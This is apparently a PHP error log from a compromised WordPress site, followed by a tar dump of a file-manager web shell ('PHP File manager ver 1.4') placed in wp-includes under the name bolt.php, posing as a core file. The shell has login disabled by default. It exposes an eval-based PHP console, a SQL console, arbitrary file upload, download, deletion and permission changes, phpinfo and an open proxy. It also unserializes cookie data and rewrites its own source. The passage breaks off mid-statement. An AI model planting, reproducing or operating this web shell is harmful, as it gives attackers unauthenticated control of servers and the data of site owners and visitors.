[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
